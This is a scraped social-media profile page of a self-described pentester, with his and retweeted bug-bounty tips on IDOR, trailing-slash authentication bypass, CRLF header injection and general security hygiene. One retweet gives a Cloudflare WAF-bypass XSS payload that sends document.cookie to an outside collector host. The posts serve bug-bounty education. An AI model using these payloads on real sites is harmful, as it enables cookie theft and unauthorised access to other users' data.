Anonymode @anonymode1

RedTeamer || Hacker ||Pentester @anonysec_ linktr.ee/anonymode Nairobi, Kenya Joined October 2020

Tweets

4K
Followers

3K
Following

4K
Likes

4K

kareem hajjaj 🇵🇸 @_bronx_101

3 days ago

I just found two great bugs in 10 mins latterly :) (the application is basically for habit tracking ) 1 -> an IDOR that lets the attacker get/delete the habits of other users on the site 2 -> a CORS misconfiguration allows the attacker to see some PII #bugbountytips

13 23 351 15K 140

Download Image

Abdalkreem @00xalr

3 days ago

I submitted 5 critical reports in 2 hours due to 2 bugs. 1- The first mistake is when you add slach at the end it will bypass authentication - /api/x/x --- > 401 Unauthorized - /api/x/x/ -- > 200 Ok (2/1) #bugbounty #hackerone

11 56 516 19K 289

Download Image

Anonymode @anonymode1

2 weeks ago

Day zero to zero day

0 0 0 55 0

Download Image

Anonymode @anonymode1

4 weeks ago

It's been a while... Getting a gadget here in prison is a big issue...

1 0 2 174 0

Gospel @4osp3l

3 months ago

If you're good at what you do, you already won.

3 1 56 2K 0

Anonymode @anonymode1

3 months ago

Did you know? Most hackers don't “hack” — they just log in. Here’s how: 🕵️‍♂️ They scrape public data 🌐 They find exposed subdomains 📁 They analyze JavaScript for secrets 🧪 They test parameters for hidden functions.. you are pawned!!!

0 0 2 148 0

Anonymode @anonymode1

3 months ago

💡Cybersecurity isn’t just about strong passwords — it’s about securing the WHOLE attack surface. #CyberSecurity #BugBounty #InfoSec #Hacking #RedTeam #Anonysec

0 0 1 109 0

NullSecX @NullSecurityX

3 months ago

🧠 HTTP Header Injection → Redirect Abuse 1️⃣ App reflects user input in headers: Location: https://site/./com/welcome?user=$input 2️⃣ Attacker injects \nSet-Cookie: admin=true 3️⃣ Header split → response poisoning 🎯 Leads to auth bypass or cache poisoning #bugbounty #owasp

0 41 181 9K 88

Download Image

Gospel @4osp3l

3 months ago

HTTP Header Injection → Redirect Abuse

NullSecX @NullSecurityX

3 months ago

HTTP Header Injection → Redirect Abuse

0 41 181 9K 88

Download Image

0 1 31 1K 9

Anonymode @anonymode1

3 months ago

0 0 1 54 0

Download Image

Anonymode @anonymode1

3 months ago

🚨 Broken Access Control 🛑 Attackers can bypass permissions & access data they're not supposed to—like becoming admin without logging in as one! 😱 🔓 Always enforce proper access checks on every request. #CyberSecurity #OWASP #Hacking #BugBounty #InfoSec #Anonymode

0 0 1 72 0

Anonymode @anonymode1

3 months ago

🚨 File Upload Vulnerability 🚨 When users can upload files without proper validation, attackers can upload malicious scripts (e.g., .php, .jsp) and gain server access. #BugBounty #CyberSecurity #WebSec

0 0 0 84 0

Anonymode @anonymode1

3 months ago

SSRF (Server-Side Request Forgery) lets attackers trick a server into making requests to internal or external systems. ⚠️ Can expose internal data & services. 🛡️ Always validate user-supplied URLs. #SSRF #CyberSecurity #BugBounty

0 0 2 182 1

Anonymode @anonymode1

3 months ago

somehow

1 0 1 165 1

Download Image

Anonymode @anonymode1

3 months ago

There's a difference between a hacker and a criminal. 🔸 Ethical hackers protect systems 🔸 Black hats exploit them 🔸 Grey hats walk the line 💡 Learn the rules, master the tools, and hack for good. The digital world needs defenders, not destroyers

0 0 0 82 0

N$ @nav1n0x

3 months ago

This payload bypasses Cloudflare waf in certain cases: "top[8680439..toString(30)](document.domain)" or "top[8680439..toString(30)](new%20Image().src%3D%27https://xxx.oastify.com/log?cookie%3D%27%2Bdocument.cookie)" #BugBounty

8 86 538 28K 468

Download Image

Anonymode @anonymode1

3 months ago

Server-side vulnerabilities are silent killers. They let hackers bypass logic, exploit APIs, & steal data from the backend. Always validate inputs server-side, not just on the frontend.

1 1 5 302 1

Anonymode @anonymode1

3 months ago

🔐 Cyber Tip Friday Stop saving passwords in browsers! ⚠️ Hackers & malware can steal them. ✅ Use a password manager ✅ Enable 2FA

0 0 0 100 0

Download Image

Anonymode @anonymode1

3 months ago

🚨 Cyber Tip Thursday Beware of Evil Twin Wi-Fi 🧠 Fake hotspots like “Free_Airport_WiFi” can steal your data! 🛡 Stay safe: – Use VPN – Don’t auto-connect – Confirm Wi-Fi names #CyberSecurity #Anonysec #HackAware #WiFiHack